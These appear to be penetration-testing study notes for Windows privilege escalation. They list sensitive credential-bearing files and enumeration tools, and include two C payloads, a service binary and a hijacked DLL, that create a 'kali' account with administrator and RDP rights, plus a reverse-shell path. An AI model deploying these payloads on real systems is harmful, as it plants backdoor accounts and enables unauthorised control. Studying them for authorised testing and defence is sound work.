Windows Privilege Escalation

HTB Windows Privesc Checklist

Enumerating Windows

Windows Privilege and Access Control

Collecting Environment Data

Collecting Sensitive Information or Credentials

Searching for Sensitive Information

%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*

Find sensitive PowerShell information

Browser Credentials

Remote Access Tool Credentials

Automated Tools

Winpeas

LaZagne

PowerUp Powershell Script

SharpUp ghostpack executable

Seatbelt

Sherlock

Leveraging Windows Services

Hijacking Service Binaries

#include <stdlib.h>
int main ()
{
  int i;
  
  i = system ("net user kali Password123! /add");
  i = system ("net localgroup administrators kali /add");
  i = system ("net localgroup "Remote Desktop Users" kali /add");
  
  return 0;
}

Hijacking Service DLLs

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user kali kali123! /add");
  	    i = system ("net localgroup administrators kali /add");
  	    i = system ("net localgroup "Remote Desktop Users" kali /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

.bat files

C:\Users\Public\reverseshell.exe

Abusing Service ACLs

Abusing Unquoted Service Paths

Abusing Other Windows Components

Living off of the Land

Using Scheduled Tasks

Registry

Abusing Privileges to Execute Code as Privileged Users

Bypassing UAC

Bypassing GPO restrictions

Miscellaneous

WireShark